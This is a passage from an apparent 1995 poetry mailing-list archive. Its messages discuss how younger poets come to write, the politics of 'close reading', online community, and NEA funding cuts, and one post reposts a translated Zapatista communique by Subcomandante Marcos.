Sandra, what you say about Native American culture can't be denied by someone like myself, whose primary, direct experience with Native American culture has been mostly through my work at the Legal Aid Society of Minneapolis/Housing Discrimination Law Project. My interaction with both NA clients and NA lawyers has been mostly instances where indigenous and non-indigenous cultures in the U.S. interact, or as is often the case, clash. I've attended a few readings and other events featuring Native American writers, and the audiences for these events have been of mixed race. So, I do appreciate what you have to say about how (some of) these cultures behave publicly, within their specific social groups. (I'd like to get more of that, actually, which is why I appreciate Mark Nowak--a "younger" poet--'s lists of work so much; want more from him.) But, Sandra, I do think younger poets have been listening to, mainly by reading, older poets; I came to poetry not out of a desire to write it, which came later, but to read it. I spent many years reading poetry (if not as "intensely" as I do these days) before I wrote my first poem. I think most of us began, first, by reading, or "listening to," our elders. Relative to that: In response to both Sheila Murphy and Mark Wallace's questions about form, & the "how" & "why": The first poem I wrote that "mattered" to me was written in direct response to work I'd been reading in an early issue of _avec_ that my wife Marta & I had typeset. As John Geraets (I believe) pointed out, one of the things younger poets respond to are "lacks"--and I felt a definite "lack" in the poetry I found there, which I was forced to read very slowly, if not always as carefully as I should've, as I was typing it into the computer; specifically, I was in love (still am), but having difficulty verbally expressing that emotion to my wife without it being corny, reductive and cliche, and none of the poetry in that _avec_ *seemed* to include this most basic of human instances. I thought I might take phrases and lines from what (at first) seemed to be the very abstract language in _avec_, and somehow use that language, re-presented, to speak, as directly as I could, to my lover. Much of the language I "ripped off" was language having to do with the difficulties of communication, and so my concerns, as it turned out, where not altogether different from my elders'. But it

took writing something, working on it for six months, for me to really understand that. What began out of an apparent difference of "concerns" developed into a further understanding, for me, of the nature of the work in _avec_. What began as resistance, struggle, which wasn't resolved by my reading the work, ended, by virtue of my active participation with it (re-using the language, "against" its apparent context), in my reaching a point where I began to appreciate writing I'd at first mistrusted. Participation isn't necessarily noise, and I do hope that other younger or less-established writers will respond to Mark W.'s and Sheila M.'s questions (I've enjoyed that by those who have). Bill Luoma, how did you come to write _My Trip to New York_? Is your work--as I'm reading it--predominantly "speech- based"? Mark Nowak, how do you use, specifically, all of the diverse material you read? What are the difficulties you've faced in doing that, if any? Erica Hunt, can you take what Mark Nowak addressed in his last post further by talking about your own work, influences? Ira Lightman, "No Things But in Ideas," the work of yours I read in _Mirage_; would you be willing to talk a little about how the form (a brief excerpt)

FOUR O'CLOCK, LIGHT
IN THE HOUSE, STREET
TWELVE BRIT
NIGHT
SLEEP LEE, STREE
T BRUSH, MORN
GONE, BRITAIN A
PPROACH ...

addresses, if & as it does, that very provocative title? I'd like to read more of what younger or less-often published writers have to say about their work, about poetry, specifically or generally. (Questions above not being rhetorical, or necessarily limited to those addressed, or even to "younger" poets.) Shy poets (though, as John Weiners says, there's maybe no such thing), you can e-mail instead of post, if you prefer. (Don't mean to put anyone "on the spot.")

Yours,

Gary

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71. Blair Seagram
Re: Leonardo on theory
Sun 5 Mar 1995

Having opened my mailbox to the tune of over 400 messages, I'm taking a reading break around Feb 22nd to respond to the theory vs.art question with this quote from Leonardo da Vinc:

"The supreme misfortune is when theory outstrips performance."

Blair Seagram
([redacted])

PS Leonardo had lots of the female in him. As we all know he had an inquiring mind that was scientific, emotional and highly structured.

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72. Hank Lazer
Re: CALL: Sound and Language RE: - Submissions
Sun 5 Mar 1995

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chris cheek--

your call for leads leads me to suggest Jack (& Adelle) Foley, whose work definitely exists doubly as text and performance, often being issues simultaneously (as with GERSHWIN and, more recently, ADRIFT, also work-in-progress such as STANZAS FROM DJERASSI) as text and audiotape. they performed here (in tuscaloosa) this past december--poems, songs, dance, two-voice pieces. jack is a great resource, fine connection to the writing/performings of others. (jack & adelle, for example, are recorded on lou harrison's most recent cd, a 77th birthday celebration from musical heritage society--they read, with lou, three-voice versions of some of lou' s poems). enough blurb. you can reach jack, if you're interested, at 2569 maxwell avenue, oakland, california 94601.

your proposed series sounds great. please keep the group posted as it progresses.

hank lazer

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73. Tony Green
Re: Community- apology?
Sun 5 Mar 1995

Dear Gary, Apology accepted re- inclusion of distant remote and unknown persons and places. But not quite what I was after. I wanted to point to possibilities of support and assistance thru the net now from anyplace not only ON THE GROUND and not necessarily requiring backchannel chat. I'd like to think that operates reciprocally.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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74. Joe Amato
Re: Community
Sun 5 Mar 1995

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sandra, what's fascinating about syverson's dissertation is the extent to which she manages to employ concepts such as distribution, embodiment, emergence and enaction (across social, psychological, material, spatial and temporal constraints) in her approach to different writing situations WITHOUT a rigorous mathematical model and WITHOUT generating more metaphorical platitudes... that is, she shows how such a model can be put to practical use in the educational arena proper... for a lot of artists, such concerns are strictly ex post facto, and while it is true that syverson is primarily concerned not with the particular writing or corresponding activity or practice but with the extent to which such inquiry informs the sorts of ecologies we contribute to (willingly or otherwise, no determinism implied or intended) i found much in her sense that such practices are intrinisically *historical* (i.e., time-(inter)dependent and dynamic) as opposed to simply structural (and cause-effect based) to help breathe some reflexive life into my own meanderings of late...

joe

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75. braman sandra
Re: Community
Sun 5 Mar 1995

In response to Joe Amato's posting re a dissertation involving self-organizing systems theory and poetics -- It's clear to me, at least, that non-linear causality is the only way to get at what's happening in the area of communications, yet an approach that desperately needs those with mathematical tools, etc., in order to develop it in a useful way.... "Commnications effects" is a field that keeps trying to understand things by multiplying intervening variables, yet there simply ain't enough variables to account for what are essentially non-linear relationships.... Sandra Braman

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76. peter quartermain
Close Reading
Sun 5 Mar 1995

Can someone please tell me exactly *why* the "close reading" of texts is such a reprehensible practice? I notice it came up in an oblique sort of way in the Silliman Fan Club brouhaha, and I'm probably showing my complete and utter ignorance and stupidity. On 2 March Ron said that "I've been trashed for close reading before (by Don Byrd among others), as if the practice itself were politically incorrect (rather than the uses to which it once was put a full generation ago)." However one reads Silliman's prose I would not think he's instructing his reader how a text ought to be read, but recording how he himself reads it (and what he thinks &c &c) on one particular occasion in a particular context.

I'd assume that the opposite of a "close" reading is not so much a "distant" one as a "vague" or "inattentive" one (though I'm not at all sure exactly what those words mean in this context). Is there a point at which a "vague" reading gets to be reprehensible, or preferable? (And so on.)

This is not a facetious question. I like reading, and I'm really interested in the sorts of strategic decisions people actually make when they read; I'm interested in *how* they read (I'm not all that sure

how *I* read, either, come to that, and if I have a method at all it sure changes a lot, day to day, book to book, poem to poem). I'd have thought "close reading" would be less rather than more reprehensible, so I ask the question in all seriousness.

Peter

Peter Quartermain
128 East 23rd Avenue voice and fax [redacted]
Vancouver
B.C. e-mail: [redacted]
Canada V5V 1X2

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77. Michael Boughn
Re: Close Reading
Mon 6 Mar 1995

Dear Peter:

Good question, re: "close reading". I certainly can't speak to the specificity of the reference to Ron Silliman and Don Byrd. Generally though, my experience is that "close reading" has become demonized by association with "New Criticism", and entered the panoply of sins connected with formalist concepts of the poem. The opposite of "close reading" (in this demonology) would be "contextual reading" rather than "inattentive". So that "close reading", having been politicized in this binary opposition, is now short hand for reactionary, agrarian, humanistic reading, as opposed to progressive historically, socially, economically, racially contexualized reading.

Any serious reader, it seems to me, would laugh at such a distinction. But whole careers are built on it. Alas.

Best,
Mike
[redacted]

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78. keith tuma
Re: Close Reading
Mon 6 Mar 1995

Dear Peter,

It seems to me that Michael Boughn's "demonology" is largely accurate as an account of the use of "close reading" in many circles today--many in the academy do seem to set up "close" and "contextualized" reading as (false) binaries, attributing the former to the now vanquished practices of New Criticism. But there are other attacks on "close reading" coming from other directions, within and without the academy. Here "close reading" seems really to mean something closer to "controlling reading" or "controlled reading." Charles Bernstein's poetics of "errant singularity"--Altieri's phrase--seems to use the phrase "close reading" in that second way, for instance. Thus in _Artifice of Absorption_ we have the following: "The obvious problem is that the poem said in any other way is not the poem. This may account for why writers revealing their intentions or references ('close readings'), just like readers inventorying devices, often say so little: why a sober attempt to document or describe runs so high a risk of falling flat. In contrast, why not a criticism intoxicated with its own metaphoricity, or tropicality: one in which the limits of positive criticism are made more audibly artifical; in which the inadequacy of our explanatory paradigms is neither ignored nor regretted but brought into fruitful play." Or one might look at the recent _Exact Change_ interview with Michael Palmer, where, discussing "voice in Stevens" and the appropriation of Stevens by New Critics Palmer says, "I think the reason that finally--after initially ignoring Stevens, perhaps because of his difficulty--the New Critics began to attend to him was because they could finally see the control of tone, etc., as susceptible to close reading. And I think I've always tried to undermine close reading, to make it unreadable from that point of view."

It seems to me that we have two problems then--how to dismantle the binary Michael Boughn refers to, and how to present a model of close reading which would allow for openness, uncertainty, and generosity to stand in for the desire for "mastery" always--perhaps falsely, it's been so long since I read them--attributed to the New Critics. But this is not really a problem, as we have no shortage of such models, your own excellent work included. Not that many in the academy are paying attention anymore (I'll echo Boughn's "alas").

Anyway, that's my two cents worth of banalities from your local dimestore on this Monday in the Year of Newt and His Company of Lizards.

--keith tuma

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79. Robert A Harrison
A REAL Political Poet
Mon 6 Mar 1995

/* Written 4:07 PM Mar 5, 1995 by moonlight in igc:reg.mexico */ /* ---------- "Marcos Communique (3/5 Jornada)" ---------- */ Jornada March 5 pg. 17-18

Amazing that the government denies its taking the military road, it says
*The retreat is making us almost scratch at the sky: Marcos"

To the national weekly magazine, Proceso
To the national newspaper El Financiero
To the national newspaper La Jornada
To the local newspaper in San Cristobal de las Casas, Chiapas, Tiempo
To the national and international press;

February 20, 1995

Dear Sirs:

Here are the communiques. As things are becoming black, it's almost night. The cynicism is amazed with the negation of what is evident: the decision to seek a military solution. Us? Well, but almost scratching at the sky. The first time that something falls the sky, it will fall on me.

Let's go. Health and and a well-equipped boat to break through so much darkness.

From the mountains of southeastern Mexico.

Subcomandante insurgent Marcos
Mexico, February 1995

P.S. Writing on February 15, 1995, sixth day of the retreat (we recommend that it be read before each meal; it is an excellent diet aid).

"The morning of the 15th we were going to drink our urine. I say "we were going to" because we didn't do it as we all began to vomit after the first swallow. Previously there had been a discussion. Although all of us had been in agreement that each person should drink his/her own urine, Camilo say that we should wait until night came so that the urine gets cold in the canteens, and we can drink it thinking that it is a soda.

In defense of his position, Camilio argued that he had heard on the radio that imagination made anything possible. I opposed the idea, suggesting that time would only make the odor stronger, as well as mentioning that the radio had not been recently known for its objectivity. My other self alleged that a time of rest could help the ammonia settle on the bottom. " It will be the adrenaline"--I said, realizing strangely that the skepticism was my own and not my other self. Finally we decided to take a sip, all at the same time, to see what would happen. I don't know who began the "concert", but almost immediately all of us began vomiting what we had ingested, and also what we hadn't. We were left even more dehydrated, lying on the ground. Like dunces, stinking of urine. I think that our image was hardly soldier-like. At these hours, before the sun comes up, a sudden rain pelted us and alleviated our thirst and our spirits. With the first light of the sixth day we continued walking. In the afternoon, we came upon the outskirts of a small village. Camilo went near to ask for something to eat.

He returned with a little fried pork, hard and cold. We ate it right there without any modesty. In a few minutes the cramps began. The diarrhea was memorable. We were tied to the foot of a small wooded hill. A patrol of federal troops passed by about 500 meters away. They didn't find us because God is grand. The smell of shit and urine could be smelled kilometers away..."

PS Reiterating their rebellion
They can bring more. To do in all of the villages what they did in Guadalupe Tepeyac, where, for each resident, child or adult, they brought in 10 soldiers, for each horse a war tank, for each chicken, an armored vehicle. In total 5,000 soldiers who patrol a deserted village and "protect" a whole slew of dogs, in all of the areas, in all of the ranches.
The whole state of Chiapas full of soldiers..

On top of everything and everyone, the mountains of southeastern Mexico will continue to be rebel territory against the bad government. This will continue being Zapatista territory.

It will be forever...

P.S. Clarifying and rectifying

It was not the EZLN who broke off the dialogue and reinitiated the war. It was the government.

It was not the EZLN who feigned political willingness while preparing a military attack and betrayal. It was the government.

It was not the EZLN who detained and tortured civilians. It was the government.

It was not the EZLN who murdered. It was the government.

It was not the EZLN who bomed and strafed communities. It was the government.

It was not the EZLN who raped indigenous women. It was the government.

It was not the EZLN who robbed and plundered the campesinos. It was the government.

It was not the EZLN who betrayed the will of an entire nation to find a political solution to the conflict. It was the government.

P.S. Pointing out incongruencies in the investigations of the Attorney General
If the "Sup" had received political and military training from the Sandinistas, he would have already organized a "pinata" with the recovered properties and he would have expelled those who have criticized from the organization. If the "Sup" had received training from the Salvadoreans, he would have already given his weapon to Cristiani. If the "Sup" had received aid from the Russians, he would have already bombed Chechenia, excuse me, Guadalupe Tepeyac.

In addition, what other guerrilla army, " of the millenium",

"fundamentalist", and directed by "white university people" has carrried out the military actions that the EZLN has done in January 1994 and in breaking through the military blockade in December 1994? What other guerrilla force has agreed to sit down and dialogue only 50 days after having taken up arms? What other guerrilla force has appealed, not to the proletariat as the historical vanguard, but to the civic society which struggles for democracy? What other guerrilla force has put itself aside in order not to interfere in the electoral process? What other guerrilla force has convened a national democratic movement, civic and peaceful, so that armed struggle becomes useless? What other guerrilla force asks its bases of support about what it

should do before doing it? What other guerrilla force has struggled to achieve a democratic space and not for power? What other guerrilla force has relied more on words than on bullets?

Note: Please send the responses to the, supposedly disappeared, CISEN so that it can help think in a "modern" way. Yes, to the CISEN. The Attorney General is only the pimp paying the ruling class.

P.S. Calling myself the "special investigator on the case of the Sup" and inviting the national and international civic society to be the jury and pronounce the sentence.

"Being such and such hour on such and such day, of such and such month, in the current year, see before this P.S. a man of indefinite age, between 5 and 65 years old, with his face covered with one of those garments that appears to be a sock with holes in it (and which the gringos call "ski mask", and the Latin Americans call "pasamontanas--mountain passes"). Among the particular signs of a face, two enormous protruberances emerge, one of which, which was supposedly deduced after several sneezes, is the nose. The other, judging by the emanations of smoke and the smell of tobacco, could be a pipe, like the ones used by sailors, intellectuals, pirates and fugitives from justice. Exhorted to say only the truth and nothing but the truth, the individual in question said that he was called "Marcos Montes de la Selva", son of Old Anthony and lady Juanita, brother to young Anthony, Ramona and Susana, uncle to Tonita, Beto, Eva and Heriberto. He of the voice declared himself to be in full control of his physical and mental faculties, and, without any pressure (other than the 60,000 federal soldiers who are looking for him dead or alive) declares and confesses the following:

First. That he was born in the guerrilla camp called "Agua Fria" in the Lacandon jungle, Chiapas, in the early morning one day in August 1984. The man with the voice says that he was reborn the first of January 1994, and born again, succesively, the 10th of June 1994, the 8th of August 1994, the 19th of December 1994, the 10th of February 1995, and each day and each hour and each minute and each second since that day up to this moment in which I am making this declaration.

Second. That, in addition to his name, he has the following aliases: "Sub", "Subcomandante", "Sup", "Supco", "Marquitos", "Pinche Sup", "Sup son of a ...", and others that the power of this PS Agent prevents from writing.

Third. He of the voice confesses that, since having been born, he has conspired against the shadows which cover the Mexican sky.

Fourth. He of the voice confesses that, before being born, being able to possess everything in order to have nothing, he decided to possess nothing in order to have everything.

Fifth. He of the voice confesses that, in the company of other Mexicans, the majority Mayan Indians, they decided to make a paper live up its words, a paper that they teach about in school, which lists the rights of the Mexican citizens and which is called, "The Political Constitution of the United Mexican States". He of the voice pointed out that, in article 39 of this paper, it is said that the people have the right to change the government. Coming to this point, the P.S., jealous of his right, ordered the very subversive paper confiscated, and ordered that it be burned with giving it a glance, and having done this, continued to take the statement of the individual with the obvious nose and the contaminating pipe. He of the voice confessed that, not being able to exercise this right by peaceful and legal means, he decided, together with his accomplices, (these whom he of the voice calls "brothers"), to take up arms against the supreme government and to shout "Enough!" to the lie that, says he of the voice, rules our destinies. The P.S. could not help but be terrified in the face of such unusual blasphemy, and was fixated on the idea of leaving him without "a bone".

Sixth. He of the voice confessed that, put to choosing between comfortableness and responsibility, he of the voice always chooses responsibility. This statement merited the disapproval of the people present to this preparatory statement and the instinctive reflex of the P.S. to put his his hand on his wallet.

Seventh. He of the voice confessed that he has been irreverent with all of the truths that are called supreme, execept those that emanate from being a human being and that they are, to declare clearly, dignity, democracy, liberty and justice. A murmor of disagreement ran through the Holy

Inquisition, excuse me, the office of the special investigator.

Eighth. He of the voice confessed that they had tried to threaten him, to buy him off, to corrupt him, to put him in jail, and to murder him, and that they had not intimidated him nor bought him off, nor jailed him, nor killed him (up until now, he added, threateningly, to the Investigating P.S.).

Ninth. He of the voice confessed that, since he was born, he decided that he preferred to die before turning over his dignity to those who have made lies and crime a modern religion. A thought that was so impractical earned a cynical look from the people present.

Tenth. He of the voice confessed that, since then, he had decided to be humble with the humble, and to be arrogant with the powerful. The P.S. added "irreverent" to the charges that were being made against him of the voice.

Eleventh. He of the voice confessed that he had believed and believes in human beings, in their capacity to try indefatigably to be a little better each day. He confessed that, among the human race, he has a special affection for the Mexican race, and that he had believed, believes and will believe that Mexico is something more than six letters and a underpriced product on the international market.

Twelfth. He of the voice confessed that he believes, firmly, that the bad government has to be brought down by all means and by all parts. He confessed that he believes that a new political, economic and social relation has to be created among all Mexicans, and later on, among all human beings. These promiscious intentions gave shivers to the P.S. investigator.

Thirteenth. He of the voice confessed that he will dedicate himself to the absolute last second of his life, to struggling for what he believes.

Fourteenth. He of the voice confessed that, in a small and egotistical act, he will dedicate his last second of his life to killing himself.

Fifteenth. He of the voice confessed that he was completely bored with this interrogation. This earned him a severe reprimand from the P.S. Interrogator, who explained to him of the voice that the case will continue until the supreme government finds another tale to entertain itself.

After these confessions, he of the voice was exhorted to spontaneously declare himself innocent or guilty of the following series of accusations. To each accusation, he of the voice responded:

The whites accuse him of being dark. Guilty

The dark ones accuse him of being white. Guilty

The authentics accuse him of being indigenous. Guilty

The treasonous indigenous accuse him of being mestizo. Guilty

The machos accuse him of being feminine. Guilty

The feminists accuse him of being macho. Guilty

The communists accuse him of being anarchist. Guilty

The anarchists accuse him of being orthodox. Guilty

The Anglos accuse him of being Chicano. Guilty

The antisemetics accuse him of being in favor of the Jews. Guilty

The Jews accuse him of being pro-Arab. Guilty

The Europeans accuse him of being Asiatic. Guilty

The government officials accuse him of being oppositionist. Guilty

The reformists accuse him of being ultra. Guilty

The ultras accuse him of being reformist. Guilty

The "historical vanguard" accuse him of calling to the civic society and not to the proletariat. Guilty

The civic society accuses him of disturbing their tranquility. Guilty

The Stock Exchange accuses him of ruining their breakfast. Guilty

The government accuses him of increasing the consumption of antiacids in the government's Departments. Guilty

The serious ones accuse of being a jokester. Guilty

The adults accuse him of being a child. Guilty

The children accuse him of being an adult. Guilty

The orthodox leftists accuse him of not condemning the homosexuals and lesbians. Guilty

The theoreticians accuse of being a practitioner. Guilty

The practicioners accuse of being a theorist. Guilty

Everyone accuses him of everything bad that has happened. Guilty

Not having anything else to declare in this first preparatory statement, the P.S. Investigator ended the session and smiled imagining the congratulations and check that he would receive from his bosses.

P.S. Talking about what was heard on February 16, 1995, on the afternoon of the seventh day of the retreat

--And why don't we attack instead of retreating?--Camilo threw at me in the middle of a hill, precisely when I was concentrating most heavily on breathing and on not falling into the ravine at our sides. I didn't respond immediately, I made signs that he should continue climbing. At the top of the hill we three sat down. Night comes to the mountain before it comes to the sky, and in the semi-darkness of this indecisive hour in which light isn't the same, and the shadows waver. Something is heard, far away...

I say to Camilo who is listening with attention. "What do you hear?"

Crickets, leaves, wind-- responds my other self.

--No--I insist--. Pay attention.

Now it is Camilo who responds:--Some voices...very far away...a boom--boom--boom...like a drum...from over there...--Camilo points to the west.

--This exactly--I tell him.

--And?--intervenes my other self.

--It is the civic society. Yelling that there can't be war, there has to be dialogue, that words should talk and not weapons...--I explained.

--And the boom-boom-boom?--insisted Camilo.

--That's their drums. They are calling for peace. There are many people, thousands, dozens of thousands, hundreds of thousands. The government is not listening to them and is confronting them. We, all the way over here, we have to listen to them. We have to respond to them. We can not turn a deaf ear like the government is doing. We have to listen to them, we have to avoid the war until there is no other choice...

--And then?--muses my other self.

--Then we fight--I responded to Camilo.

--When?--he insisted.

--When they fall, when they tire. Then that will be the black hour in which we will have to talk...

--Fight--says my other self

I insist: "We do everything for them. If we fight, it is for them. If we stop fighting, it is for them. In the end they will win. If they annihilate us, they will have the satisfaction of having done everything possible to avoid it, to avoid the war. For this reason they rose up, and now they are not being held back. In addition, they have in their hands a flag that they are responsible for. If we live, they will have the satisfaction of having saved us, of having avoided the war and having demonstrated to us that they are better and that they can handle the flag. Whether we die or live, they live and will become stronger. For them everything, for us nothing..."

Camilo said that he preferred his version: "For them nothing, for us everything".

P.S. Reigniting his nocturnal delirium

Forgetfullness, a faraway lark, is the cause for our going around without face. To kill forgetfullness with a little memory, we cover our chests with lead and hope. If, in some improbable flight, our stay in the wind coincides, you will take off so many clothes and mask of sweet trick, and with lips and skin make the memory better, that of tomorrow. For this reason, a message goes from the earth to the concrete. Listen well!

As an unperfect actor on the stage,
Who with his fear is put besides his part,
Or some fierce thing replete with too much rage
Whose strength's abundance weakens his own heart;
So I, for fear of trust, forget to say
The perfect ceremony of love's rite,
And in my own love's strength seem to decay,
O'ercharg'd with burden of mine own love's might.

O, let my books be then the elocuence
And dumb presagers of my speaking breast,
Who plead for love, and look for recompense
More than that tongue that more hath more express'd.

O, learn to read what silent love hath writ;
To hear with eyes belonge to love's fine wit".

Sonnets

William Shakespeare. Sonnet XXIII

Good bye, amber lark, don't look for us under your flight. Up above yes, where our pain takes us up, to the sun, where hope rains...

P.S. Not being able to give anything on this birthday

Heriberto has a birthday on the March 5th. They say he will complete 4 years and start on his fifth. Heriberto walks the mountains, while in his home soldiers live and a tank is on his patio. The toys that a "Operation Toys" brought him for the Three Wise Men's Day, are now in the hands of some general or being analyzed by the Attorney General in search of some secret organization. Heriberto, as much as he prepared for what happened the 10th of February (the invasion of the federal soldiers), at the actual moment, he left behind his best toy: a little car that Heriberto, inside it, played at being a driver around the patio where the coffee was dried. They tell me that Heriberto consoles himself saying that in the mountain his little car couldn't go. Heriberto asked his mom if he ever was going to have his car again, and if the Sup was not going to give him chocolates. Heriberto asked his mom why the war from last year returned, why his car was left behind--Why?--asks Heriberto. His mom does not respond, continuing to walk with the boy and the pain weighing on her shoulders...

P.S. Remembering and I recite from memory, verses from
Antonio Machado? which refer to distinct things, but which
are coming.

I
In the heart I have
the thorn of a passion
I was able to pull it out one day
Now I don't feel my heart.
Sharp golden thorn
who will again feel you
in the stopped heart...

II
At night I dreamed that I heard
God yelling to me: Watch out!
later it was God who slept
and I was yelling "Wake up"!

P.S. Bleeding unstoppably
An injury I carry in my chest
Of bloody wheat
and there is no bread
to alleviate the desire...

The Sup at the top of a hill, seeing how the sun goes down, in the west, a twinkle that is going out...

(translated by Cindy Arnold, volunteer, National Commission for Democracy in Mexico)

==========
Harry Cleaver
Department of Economics
University of Texas at Austin
Austin, Texas 78712-1173
USA

Phone Numbers: (hm) [redacted]
(off) [redacted]
Fax: [redacted]
E-mail: [redacted]
==========

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80. Robert A Harrison
more on NEA
Mon 6 Mar 1995

[*********PNEWS CONFERENCES**********]
From: JagDes <[redacted]>
Subject: NPW: NEA cuts and race

Color-coded culture cuts?
by Kevin Cartwright

Congressional budget hearings on the National Endowment for the Arts (NEA) opened in January to ominous forecasts of NEA's demise as a vital funding source for the arts. The political right delights in flogging the NEA for allegedly promoting left-wing ideology and cultivating debased and marginalized art that most Americans don't care about.

In fact, "the work that is controversial represents less than 1% of the funding of the endowment," says Vanessa

Whang, fundraiser and program developer at La Pena Cultural Center in Berkeley. "But for smaller organizations [the NEA] is their lifeline. They're supporting the meat and potatoes of being able to stay in business for groups like La Pena that are working in communities of color," she says.

The NEA has an operating budget of $176 million, a minuscule amount compared to the military budget or even to allocations for military bands, which many have pointed out exceed NEA funding.

Many community-based arts groups which serve minority communities receive funding from NEA's Expansion Arts program. If proposed cuts are enacted, this program could be in danger.

Federal grants to arts groups and individual artists have been reduced to $24 million, a decrease of $54 million from last year. Though La Pena received a $30,000 grant this year, Whang is concerned that cuts could cost jobs and jeopardize La Pena's ability to offer a range of cultural programs, classes, and events at low ticket prices (or free) to people with few resources.
"La Pena and some smaller and mid-size organizations that are working primarily in communities of color are going to be hit really hard by this," Whang says.

The Galeria De La Raza opened in San Francisco's Mission district in 1970, and has been committed to showing the art of Chicano, Latino and indigenous cultures. Their NEA funding accounts for 20% of their budget. The lack of funding would severely affect how they approach programming and the needs of the community. According to Liz Lerma, Executive Director of Galeria, the cuts would undermine the power of cutting-edge art.
"A lot of the dynamism that you find here comes from us being able to present the art in a timely fashion, you know, when something is happening we allow the artist to respond to it essentially. We would be crippled in that effort," says Lerma.

"The politicization of NEA funding is rooted in the right- wing efforts to silence opposition and further marginalize communities of color," Lerma says. "Places like the Galeria are known to show varieties of art that aren't afraid of what the artists are saying. We support it. We're the forum where it can be said," she adds.

Whang, Lerma and other cultural activists are collaborating with the San Francisco Arts Democratic Club in an effort to fight the cuts. At the News ' deadline, the club planned a Feb. 18 town hall meeting to strategize and set up a letter- writing and phone campaign. For info: (xxx) xxx-xxxx.

********** This article came from News for a People's World, an independent monthly newspaper by and for Northern California activists. You can read more of the News or write to us by visiting our conference, [redacted]. or http://garnet.berkeley.edu:3333/.mags/NPW/NPW.html We can be reached by snail-mail at 522 Valencia St., San Francisco CA 94110, phone [redacted], fax [redacted].
PEOPLE BEFORE PROFITS!
There are 4 -*PNEWS CONFERENCESs*- [P_news on FIDONET], [p.news and p.news.discuss on PEACENET] & [pnews-L on INTERNET]. ***Conferences are gated together***
---------- PNEWS CONFERENCES are moderated. If you wish to subscribe to a PNEWS list on InterNet, send your request to: <[redacted]>
##

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81. Chris Stroffolino

Re: Close Reading

Mon 6 Mar 1995

Dear Michael--THough I know what you mean about "close reading" and its debased form (as in X.J. Kennedy intro to literature anthologies)... there's no need to associate it with "agrarian" in some pejorative way. We do not need some city-country division. If, for instance, there is to be some viable way of dealing effectively with culture, there's no point isolating ourselves against the "agrarian"--which can also be the "tenement migrant farmer" etc...Also, the hegemony of the "contextual" the "new historicist" reading in much "hip" avant-garde discourse that claims to be a reaction to "close reading" goes too far in the opposite direction--like Stephen Greenblatt talking about Renaissance sex-operations for 55 pages and then quoting one line in a Shakespeare play, and saying "A HA, now you know the meaning of it..." and of course the essay is allegedly and ostensibly ABOUT SHAKESPEARE...and though I believe some kind of fruitful "balance" can be achieved, the "cultural studies" aspect of literature seems to be a dinosaur now, and can only have

any value if it's ASSUMED that "close reading" is instilled--thus, one generation of academics are teaching a younger one to unlearn the things they never learned (I speak as one who received an M.A. in english without having ever read Shakespeare, for instance), and then there's also the question that is seems the symbiotic relationship of GRADUATE and UNDERGRADUATE ENGLISH departments can be reduced to this--the undergraduates learn exactly what they're suppossed to UNLEARN in grad school....Chris S.

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82. Bill Luoma
Tony Door Speaks
Mon 6 Mar 1995

Dear Friends,

I would like to retract my earlier TEXT: "I am the only 2A's, an E, 2G's, an L, an N, & a U Poet."

The AHP as a body has produced the first & only, to my knowledge, Authorless TEXT. As virtual as they may be, their texts can either investigated in a rather dull, petty, & ultimately uninteresting but gossipy way; the "search for the author." Or, one can read these texts as the products of the chat-line's collective poetic sub-something. . . .

Well, this is getting boring. There is work to be done, & I have my farm to tend to.

Tony Door
Calabria, Itallia
4/3/95

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83. Bill Luoma
Re: Form, etc.
Mon 6 Mar 1995

> *Bill Luoma, how did you come to write _My Trip to New York_? Is your work--as I'm reading it--predominantly "speech-based"?*

Gary,

My prose has lately been slouching toward speech and transparent narrative. I also do visual stuff, and am working on a sound poem, so make what you will of that.

I appreciate your asking me how I wrote My Trip to NYC. But the fact is I dont know how I wrote it. It just happened, as if I tuned in a certain radio station in a certain cocteau movie. When I re-read it, some of the sequences continue to astonish me. Like, please let me write like that again. Is it arrogant to say this? I wish I knew how to get into the zone on a regular basis. Waffles? But I remember that Shiva says there are too many variables to formulate a guaranteed methodology. And I agree (what then?) I can only talk around its writing.

I was living in San Diego. I visited my friends in NY and Providence that I hadnt seen for years. Jennifer Moxley had just started the Impercipient and published Douglasses poem about the car:

if the car is broken,
& we cannot go to get it,
who will?

if the car is broken,
& no one can go to get it,
who will?

if the car is old & broken,
wounded like the street,

broken like the broken parts
of these our broken lives,

& we remain?

When I got back to San Diego, Scott Bentley wanted me to send him some slides. I was on unemployment so I had time to write. I tried to immitate Douglasses poem because I thought it was the greatest. But I couldnt write beautiful lyrics like Douglass. I started again. I described my trip so Scott could see how his pals were doing on the east coast. I had never written about myself and friends before, so it was fun.

I remembered that Helena Bennett was dead. When your mate dies, you lose your keys, forget where youre going, cry in public, miss exits on the road, have moments of aphasia and anemone. The deadpan spacy voice I could feel in my head got put down on paper long hand. I could feel the instances/scenes/slides I was remembering (to describe to Scott) as short paragraphs. I could feel that I loved my friends. Thus the form was born.

I wrote 80 paragraphs in two days and revised for a few months. I sent it to Geoff Young at the Figures and he published it.

Bill Luoma

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84. Michael Boughn
Re: Close reading
Mon 6 Mar 1995

Dear Chris:

I wasn't being pejorative, actually, being someone who, along with Peter Quartermain, believes in the continued importance of teaching the practice of something called "close reading", as in reading closely. The "agrarian" in that list of attributes was a perhaps too arcane reference to the fact that the originators of what came to be called "The New Criticism" were originally known as the Southern Agrarians. This group included Cleanth Brooks (still, in my books, one of the most astute and careful readers I've encountered), Allen Tate, Robert Penn Warren, and Laura Riding (yes folks, no jive).

They considered themselves "agrarians" in that they felt they represented traditional, agrarian, humanist values in the face of the degradations of urban, capitalist, commodified culture. Their theories about "the poem" as a formal object reflected their desire to find an uncontaminated space in which to locate those values. The later contraction of those fundamentally conservative (and I do not use that word here pejoratively, but rather descriptively) values into the kind of mastery Keith Tuma (and via him Michael Palmer) refer to is an interesting story, that has a lot, I think, to do with the institutionalization of the American intellectual. But it's another story.

Best,
Mike
[redacted]

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85. Marc Nasdor
Re: E - speration and Communit - E
Mon 6 Mar 1995

I'd like to responding to James's reposting of his Feb. 27 comments:

> *... The effective limits of community are not yet clear, but from several people's perspective they relate to the number of messages one can get through considering the available time. This obviously differs for different people, so the quantifying of community is not possible at a single value for all participants. What I am looking for is a suggestion how to "customize" each person's community according to their capacity and interest...*

We should look at community formation relative to the LISTSERV phenomenon. First, let me say that anyone who participates is a de facto member of this

